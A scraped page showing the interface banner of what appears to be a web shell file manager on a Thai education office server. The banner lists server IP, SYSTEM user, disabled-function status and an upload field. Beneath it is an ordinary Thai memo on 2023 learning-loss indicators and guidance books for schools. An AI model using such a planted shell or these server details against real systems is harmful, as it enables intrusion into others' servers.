| Server IP : 104.21.80.248 / Your IP : 162.159.115.41 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : E:/Inetpub/www/myoffice/2566/data/tkk1text/ |
Upload File : |
<div> <b><u>เรื่องเดิม</u></b> ตามที่ กลุ่มนโยบายและแผน ได้แต่งตั้งผู้รับผิดชอบการรายงานผลการดำเนินงานการติดตามต่างๆ ของสำนักงานเขคพื้นที่การศึกษามัธยมศึกษาราชบุรี ประจำปีงบประมาณ พ.ศ.2566 นั้น <b> <br /> </b> <b><u>ข้อเท็จจริง</u></b> ข้าพเจ้า นางสาวดาราวรรณ สุขคันธรักษ์ ได้รับมอบหมายให้ตอบตัวชี้วัด1. ตามนโยบายเร่งด่วน ของสำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน (Quick Policy :QP) ตัวชี้วัดที่ 7 ระดับความสำเร็จของการแก้ไขภาวะถดถอยทางการเรียนรู้ (Learning Loss) ของผู้เรียน (ประเด็น อ่านออก เขียนได้ คิดเลขเป็น) ตัวชี้วัดที่ x 1 ระดับความสำเร็จของการค้นพบต้นแบบ นักเรียน ครู ผู้บริหารชุมชนที่เป็นเลิศด้านการศึกษาและการสนับสนุนการศึกษา 2. ตัวชี้วัดแผนปฏิบัติราชการ ของสำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน (Action Plan : AP) ตัวชี้วัดที่ 11 ร้อยละของผู้เรียนได้รับการพัฒนาให้มีสมรรถนะละทักษะที่จำเป็นในศตวรรษที่ 21 (ค่าเป้าหมายร้อยละ 80) มาตรฐานสำนักงานเขตพื้นที่การศึกษา<br /> <b><u>ข้อกฎหมาย/เอกสารที่เกี่ยวข้อง</u></b> คำสั่งสพม.ราชบุรี ที่ 90/2566 แต่งตั้งที่ปรึกษาและคณะกรรมการดำเนินงาน รายงานผลการติดตาม ประเมินผล การบริหารและการจัดการศึกษาขั้นพื้นฐาน ประจำ ปีงบประมาณ พ.ศ. 2566<br /> <b><u>ข้อเสนอเพื่อพิจารณา</u></b><b><u>พิจารณา</u> </b>กลุ่มนิเทศ ติดตาม และประเมินผลการจัดการศึกษา พิจารณาแล้วเห็นควรแจ้งสถานศึกษาดำเนินการแก้ภาวะถดถอยทางการเรียนรู้โดยส่งเอกสารการขับเคลื่อนการแก้ปัญหา Learning Loss ให้สถานศึกษาเป็นแนวทาง 5 เล่ม ได้แก่ 1. กิจกรรมการเรียนรู้เชิงรุก Active Learning สู่สมรรถนะสำคัญของผู้เรียน ระดับมัธยมศึกษา กลุ่มสาระการเรียนรู้ ภาษาไทย 2. กิจกรรมการเรียนรู้เพื่อลดภาวะถดถอยทางการเรียนรู้ Learning Loss กลุ่มสาระการเรียนรู้ ภาษาไทย 3. แนวทางการจัดกิจกรรมส่งเสริมการอ่านเพื่อแก้ปัญหาภาวะถดถอยทางการเรียนรู้และส่งเสริมสนับสนุนการเรียนการสอน 4.กิจกรรมการเรียนรู้เพื่อลดภาวะถดถอยทางการเรียนรู้ Learning Loss กลุ่มสาระการเรียนรู้ คณิตศาสตร์ 5. กิจกรรมการเรียนรู้เชิงรุก Active Learning สู่สมรรถนะสำคัญของผู้เรียน ระดับมัธยมศึกษา กลุ่มสาระการเรียนรู้ คณิตศาสตร์ และส่งแบบการรายงานผลการดำเนินงานเพื่อใช้ติดตาม ประเมินผล การบริหารและการจัดการศึกษาขั้นพื้นฐาน ประจำปีงบประมาณ พ.ศ. 2566 กลับมายังสำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี ในวันที่ 3 กรกฎาคม 2566 เพื่อประกอบการรายงานรอบ 12 เดือน ต่อไป</div>